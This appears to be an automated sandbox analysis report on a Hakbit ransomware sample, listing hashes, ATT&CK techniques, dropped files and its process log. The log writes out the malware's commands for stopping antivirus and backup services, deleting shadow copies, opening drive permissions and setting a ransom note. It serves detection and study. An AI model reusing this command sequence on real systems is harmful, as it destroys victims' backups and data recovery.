hakbit | e5242266d9fc1e27e583a920ff6b9ff445c0942793ed80a92d5c5b6792d25f62

Resubmissions

17-11-2020 12:01

201117-yzjn4s5cdn 10

18-06-2020 04:28

200618-tg948yvz5n 10

Analysis

max time kernel
150s
max time network
131s
platform
windows10_x64
resource
win10
submitted
18-06-2020 04:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

System.exe
Size

66KB
MD5

8d6ab03994b0ce3466873aa7532fe76b
SHA1

156aecd4d8e65d205181ad5eace466c8798d3c86
SHA256

e5242266d9fc1e27e583a920ff6b9ff445c0942793ed80a92d5c5b6792d25f62
SHA512

2c1df9fb201b4a750378dfa7029755239167efa51ae4ddc9c5042218a1d01c3bf5557c09faeda4f3f68818082a6f95526d5776d432b5b6774ae2c1c90dc7a84c

Score

10^/10

persistence discovery spyware ransomware hakbit

Malware Config

Signatures

Suspicious use of WriteProcessMemory 248 IoCs

Processes:

System.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 1656 wrote to memory of 3508	1656	System.exe	net.exe
PID 1656 wrote to memory of 3508	1656	System.exe	net.exe
PID 3508 wrote to memory of 3812	3508	net.exe	net1.exe
PID 3508 wrote to memory of 3812	3508	net.exe	net1.exe
PID 1656 wrote to memory of 3880	1656	System.exe	net.exe
PID 1656 wrote to memory of 3880	1656	System.exe	net.exe
PID 3880 wrote to memory of 3808	3880	net.exe	net1.exe
PID 3880 wrote to memory of 3808	3880	net.exe	net1.exe
PID 1656 wrote to memory of 3856	1656	System.exe	net.exe
PID 1656 wrote to memory of 3856	1656	System.exe	net.exe
PID 3856 wrote to memory of 1908	3856	net.exe	net1.exe
PID 3856 wrote to memory of 1908	3856	net.exe	net1.exe
PID 1656 wrote to memory of 988	1656	System.exe	net.exe
PID 1656 wrote to memory of 988	1656	System.exe	net.exe
PID 988 wrote to memory of 3376	988	net.exe	net1.exe
PID 988 wrote to memory of 3376	988	net.exe	net1.exe
PID 1656 wrote to memory of 3944	1656	System.exe	net.exe
PID 1656 wrote to memory of 3944	1656	System.exe	net.exe
PID 3944 wrote to memory of 3388	3944	net.exe	net1.exe
PID 3944 wrote to memory of 3388	3944	net.exe	net1.exe
PID 1656 wrote to memory of 2576	1656	System.exe	net.exe
PID 1656 wrote to memory of 2576	1656	System.exe	net.exe
PID 2576 wrote to memory of 3064	2576	net.exe	net1.exe
PID 2576 wrote to memory of 3064	2576	net.exe	net1.exe
PID 1656 wrote to memory of 3588	1656	System.exe	net.exe
PID 1656 wrote to memory of 3588	1656	System.exe	net.exe
PID 3588 wrote to memory of 2288	3588	net.exe	net1.exe
PID 3588 wrote to memory of 2288	3588	net.exe	net1.exe
PID 1656 wrote to memory of 2116	1656	System.exe	net.exe
PID 1656 wrote to memory of 2116	1656	System.exe	net.exe
PID 2116 wrote to memory of 728	2116	net.exe	net1.exe
PID 2116 wrote to memory of 728	2116	net.exe	net1.exe
PID 1656 wrote to memory of 3628	1656	System.exe	net.exe
PID 1656 wrote to memory of 3628	1656	System.exe	net.exe
PID 3628 wrote to memory of 3852	3628	net.exe	net1.exe
PID 3628 wrote to memory of 3852	3628	net.exe	net1.exe
PID 1656 wrote to memory of 3524	1656	System.exe	net.exe
PID 1656 wrote to memory of 3524	1656	System.exe	net.exe
PID 3524 wrote to memory of 3808	3524	net.exe	net1.exe
PID 3524 wrote to memory of 3808	3524	net.exe	net1.exe
PID 1656 wrote to memory of 4052	1656	System.exe	net.exe
PID 1656 wrote to memory of 4052	1656	System.exe	net.exe
PID 4052 wrote to memory of 3796	4052	net.exe	net1.exe
PID 4052 wrote to memory of 3796	4052	net.exe	net1.exe
PID 1656 wrote to memory of 996	1656	System.exe	net.exe
PID 1656 wrote to memory of 996	1656	System.exe	net.exe
PID 996 wrote to memory of 3948	996	net.exe	net1.exe
PID 996 wrote to memory of 3948	996	net.exe	net1.exe
PID 1656 wrote to memory of 3868	1656	System.exe	net.exe
PID 1656 wrote to memory of 3868	1656	System.exe	net.exe
PID 3868 wrote to memory of 1640	3868	net.exe	net1.exe
PID 3868 wrote to memory of 1640	3868	net.exe	net1.exe
PID 1656 wrote to memory of 2668	1656	System.exe	net.exe
PID 1656 wrote to memory of 2668	1656	System.exe	net.exe
PID 2668 wrote to memory of 1560	2668	net.exe	net1.exe
PID 2668 wrote to memory of 1560	2668	net.exe	net1.exe
PID 1656 wrote to memory of 2760	1656	System.exe	net.exe
PID 1656 wrote to memory of 2760	1656	System.exe	net.exe
PID 2760 wrote to memory of 780	2760	net.exe	net1.exe
PID 2760 wrote to memory of 780	2760	net.exe	net1.exe
PID 1656 wrote to memory of 2112	1656	System.exe	net.exe
PID 1656 wrote to memory of 2112	1656	System.exe	net.exe
PID 2112 wrote to memory of 2152	2112	net.exe	net1.exe
PID 2112 wrote to memory of 2152	2112	net.exe	net1.exe

Suspicious use of SendNotifyMessage 1 IoCs

Processes:

System.exe

pid process

1656 System.exe

pid	process
1656	System.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

System.exetaskkill.exetaskkill.exetaskkill.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1656	System.exe
Token: SeDebugPrivilege	3928	taskkill.exe
Token: SeDebugPrivilege	612	taskkill.exe
Token: SeDebugPrivilege	736	taskkill.exe
Token: SeBackupPrivilege	3984	vssvc.exe
Token: SeRestorePrivilege	3984	vssvc.exe
Token: SeAuditPrivilege	3984	vssvc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

System.exe

pid process

1656 System.exe

pid	process
1656	System.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

System.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	System.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "\r\n* ATTENTION *\r\nYour File Locked By \"Military Algorithm\" And Wiped. \r\nFor Recovery Your Files Contact : l1u1t1@secmail.pro"	System.exe

Drops startup file 1 IoCs

Processes:

System.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk System.exe
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Runs net.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	System.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
1564	vssadmin.exe
740	vssadmin.exe
2660	vssadmin.exe
728	vssadmin.exe
3324	vssadmin.exe
1336	vssadmin.exe
284	vssadmin.exe
3764	vssadmin.exe
3228	vssadmin.exe
688	vssadmin.exe
3780	vssadmin.exe
272	vssadmin.exe
2000	vssadmin.exe
2980	vssadmin.exe

Modifies file permissions 1 TTPs 29 IoCs

discovery

File Permissions Modification

T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	process
4560	icacls.exe
2652	icacls.exe
3988	icacls.exe
280	icacls.exe
4252	icacls.exe
4856	icacls.exe
4920	icacls.exe
4780	icacls.exe
2344	icacls.exe
4296	icacls.exe
4472	icacls.exe
4604	icacls.exe
476	icacls.exe
3064	icacls.exe
4428	icacls.exe
4648	icacls.exe
1560	icacls.exe
3936	icacls.exe
4516	icacls.exe
4160	icacls.exe
4340	icacls.exe
3820	icacls.exe
3852	icacls.exe
4116	icacls.exe
4204	icacls.exe
3760	icacls.exe
420	icacls.exe
4384	icacls.exe
4692	icacls.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
ransomware hakbit
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

3928 taskkill.exe
612 taskkill.exe
736 taskkill.exe

pid	process
3928	taskkill.exe
612	taskkill.exe
736	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\System.exe
"C:\Users\Admin\AppData\Local\Temp\System.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SendNotifyMessage
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Modifies WinLogon
- Drops startup file
PID:1656

C:\Windows\SYSTEM32\net.exe
"net.exe" stop avpsus /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3508

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop avpsus /y
3⤵
PID:3812

C:\Windows\SYSTEM32\net.exe
"net.exe" stop McAfeeDLPAgentService /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3880

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
3⤵
PID:3808

C:\Windows\SYSTEM32\net.exe
"net.exe" stop mfewc /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3856

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfewc /y
3⤵
PID:1908

C:\Windows\SYSTEM32\net.exe
"net.exe" stop BMR Boot Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:988

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
3⤵
PID:3376

C:\Windows\SYSTEM32\net.exe
"net.exe" stop NetBackup BMR MTFTP Service /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3944

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
3⤵
PID:3388

C:\Windows\SYSTEM32\net.exe
"net.exe" stop DefWatch /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2576

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
3⤵
PID:3064

C:\Windows\SYSTEM32\net.exe
"net.exe" stop ccEvtMgr /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3588

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
3⤵
PID:2288

C:\Windows\SYSTEM32\net.exe
"net.exe" stop ccSetMgr /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
3⤵
PID:728

C:\Windows\SYSTEM32\net.exe
"net.exe" stop SavRoam /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3628

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
3⤵
PID:3852

C:\Windows\SYSTEM32\net.exe
"net.exe" stop RTVscan /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3524

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
3⤵
PID:3808

C:\Windows\SYSTEM32\net.exe
"net.exe" stop QBFCService /y
2⤵
- Suspicious use of WriteProcessMemory
PID:4052

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
3⤵
PID:3796

C:\Windows\SYSTEM32\net.exe
"net.exe" stop QBIDPService /y
2⤵
- Suspicious use of WriteProcessMemory
PID:996

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
3⤵
PID:3948

C:\Windows\SYSTEM32\net.exe
"net.exe" stop Intuit.QuickBooks.FCS /y
2⤵
- Suspicious use of WriteProcessMemory
PID:3868

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
3⤵
PID:1640

C:\Windows\SYSTEM32\net.exe
"net.exe" stop QBCFMonitorService /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2668

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
3⤵
PID:1560

C:\Windows\SYSTEM32\net.exe
"net.exe" stop YooBackup /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2760

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
3⤵
PID:780

C:\Windows\SYSTEM32\net.exe
"net.exe" stop YooIT /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2112

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooIT /y
3⤵
PID:2152

C:\Windows\SYSTEM32\net.exe
"net.exe" stop zhudongfangyu /y
2⤵
PID:2888

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
3⤵
PID:3520

C:\Windows\SYSTEM32\net.exe
"net.exe" stop stc_raw_agent /y
2⤵
PID:3836

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
3⤵
PID:3984

C:\Windows\SYSTEM32\net.exe
"net.exe" stop VSNAPVSS /y
2⤵
PID:972

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
3⤵
PID:3756

C:\Windows\SYSTEM32\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:3940

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:3368

C:\Windows\SYSTEM32\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:1640

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:3228

C:\Windows\SYSTEM32\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:64

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:1336

C:\Windows\SYSTEM32\net.exe
"net.exe" stop veeam /y
2⤵
PID:776

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop veeam /y
3⤵
PID:3640

C:\Windows\SYSTEM32\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:2960

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:3764

C:\Windows\SYSTEM32\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:3572

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:3648

C:\Windows\SYSTEM32\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:992

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:3884

C:\Windows\SYSTEM32\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:1908

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:1800

C:\Windows\SYSTEM32\net.exe
"net.exe" stop BackupExecDiveciMediaService /y
2⤵
PID:3268

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
3⤵
PID:3388

C:\Windows\SYSTEM32\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:3020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:2916

C:\Windows\SYSTEM32\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:2044

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:736

C:\Windows\SYSTEM32\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:3848

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:3852

C:\Windows\SYSTEM32\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:3828

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:3908

C:\Windows\SYSTEM32\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:4044

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:3760

C:\Windows\SYSTEM32\net.exe
"net.exe" stop CASAD2DWebSvc /y
2⤵
PID:3920

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
3⤵
PID:1012

C:\Windows\SYSTEM32\net.exe
"net.exe" stop CAARCUpdateSvc /y
2⤵
PID:3388

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
3⤵
PID:3064

C:\Windows\SYSTEM32\net.exe
"net.exe" stop sophos /y
2⤵
PID:400

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sophos /y
3⤵
PID:3840

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SQLTELEMETRY start= disabled
2⤵
PID:3636

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
2⤵
PID:3712

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SQLWriter start= disabled
2⤵
PID:3024

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SstpSvc start= disabled
2⤵
PID:3808

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:3928

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:612

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:736

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:1564

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:3780

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:3228

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:740

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:272

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2000

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:2660

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:2980

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:728

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:3324

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:1336

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
2⤵
- Interacts with shadow copies
PID:688

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
2⤵
- Interacts with shadow copies
PID:284

C:\Windows\SYSTEM32\vssadmin.exe
"vssadmin.exe" Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:3764

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
2⤵
PID:3640

C:\Windows\SYSTEM32\arp.exe
"arp" -a
2⤵
PID:496

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" A:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2344

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" B:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2652

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" D:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:1560

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" E:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3988

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" F:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3936

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" G:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:280

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" H:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3820

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" I:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3852

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" J:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3760

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" K:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:420

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" L:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:476

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" M:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3064

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" N:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4116

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" O:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4160

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" P:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4204

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" Q:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4252

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" R:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4296

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" S:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4340

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" T:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4384

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" U:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4428

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" V:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4472

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" W:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4516

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" X:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4560

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" Y:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4604

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" Z:\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4648

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" C:\Users\Admin\Desktop\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4692

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" C:\Users\Admin\Documents\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4780

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" C:\Users\Admin\Pictures\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4856

C:\Windows\SYSTEM32\icacls.exe
"icacls.exe" C:\Users\Admin\* /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:4920

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:3984

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

File Deletion

T1107

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\1am4ddz2.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\HELP_ME_RECOVER_MY_FILES.txt

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk

Download Submit
C:\Users\Admin\Desktop\EnableFind.rtf.crypted

Download Submit
C:\Users\Admin\Desktop\ExportSearch.m4a.crypted

Download Submit
C:\Users\Admin\Desktop\OptimizeRename.txt.crypted

Download Submit
C:\Users\Admin\Desktop\RegisterReceive.docm.crypted

Download Submit
C:\Users\Admin\Desktop\ResetStart.pdf.crypted

Download Submit
C:\Users\Admin\Desktop\ResizeSplit.vsd.crypted

Download Submit
C:\Users\Admin\Documents\Are.docx.crypted

Download Submit
C:\Users\Admin\Documents\DebugImport.txt.crypted

Download Submit
C:\Users\Admin\Documents\Files.docx.crypted

Download Submit
C:\Users\Admin\Documents\FormatConvert.docx.crypted

Download Submit
C:\Users\Admin\Documents\Opened.docx.crypted

Download Submit
C:\Users\Admin\Documents\OptimizePush.pdf.crypted

Download Submit
C:\Users\Admin\Documents\OutRepair.csv.crypted

Download Submit
C:\Users\Admin\Documents\Recently.docx.crypted

Download Submit
C:\Users\Admin\Documents\StepConfirm.xls.crypted

Download Submit
C:\Users\Admin\Documents\These.docx.crypted

Download Submit
C:\Users\Admin\Documents\TraceRequest.pptx.crypted

Download Submit
C:\Users\Admin\Music\GrantDeny.mhtml.crypted

Download Submit
C:\Users\Admin\Music\MergeCheckpoint.pdf.crypted

Download Submit
C:\Users\Admin\Music\MountExport.mpeg.crypted

Download Submit
C:\Users\Admin\Music\PublishClear.jpeg.crypted

Download Submit
C:\Users\Admin\Music\SyncEnable.svg.crypted

Download Submit
C:\Users\Admin\Pictures\RegisterNew.tiff.crypted

Download Submit
C:\Users\Admin\Pictures\UninstallUndo.jpg.crypted

Download Submit
C:\Users\Admin\Pictures\UnprotectBackup.svg.crypted

Download Submit
C:\Users\Admin\Pictures\Wallpaper.jpg.crypted

Download Submit
memory/64-42-0x0000000000000000-mapping.dmp

Download
memory/272-83-0x0000000000000000-mapping.dmp

Download
memory/280-100-0x0000000000000000-mapping.dmp

Download
memory/284-91-0x0000000000000000-mapping.dmp

Download
memory/400-70-0x0000000000000000-mapping.dmp

Download
memory/420-104-0x0000000000000000-mapping.dmp

Download
memory/476-105-0x0000000000000000-mapping.dmp

Download
memory/496-94-0x0000000000000000-mapping.dmp

Download
memory/612-77-0x0000000000000000-mapping.dmp

Download
memory/688-90-0x0000000000000000-mapping.dmp

Download
memory/728-87-0x0000000000000000-mapping.dmp

Download
memory/728-15-0x0000000000000000-mapping.dmp

Download
memory/736-78-0x0000000000000000-mapping.dmp

Download
memory/736-59-0x0000000000000000-mapping.dmp

Download
memory/740-82-0x0000000000000000-mapping.dmp

Download
memory/776-44-0x0000000000000000-mapping.dmp

Download
memory/780-29-0x0000000000000000-mapping.dmp

Download
memory/972-36-0x0000000000000000-mapping.dmp

Download
memory/988-6-0x0000000000000000-mapping.dmp

Download
memory/992-50-0x0000000000000000-mapping.dmp

Download
memory/996-22-0x0000000000000000-mapping.dmp

Download
memory/1012-67-0x0000000000000000-mapping.dmp

Download
memory/1336-89-0x0000000000000000-mapping.dmp

Download
memory/1336-43-0x0000000000000000-mapping.dmp

Download
memory/1560-27-0x0000000000000000-mapping.dmp

Download
memory/1560-97-0x0000000000000000-mapping.dmp

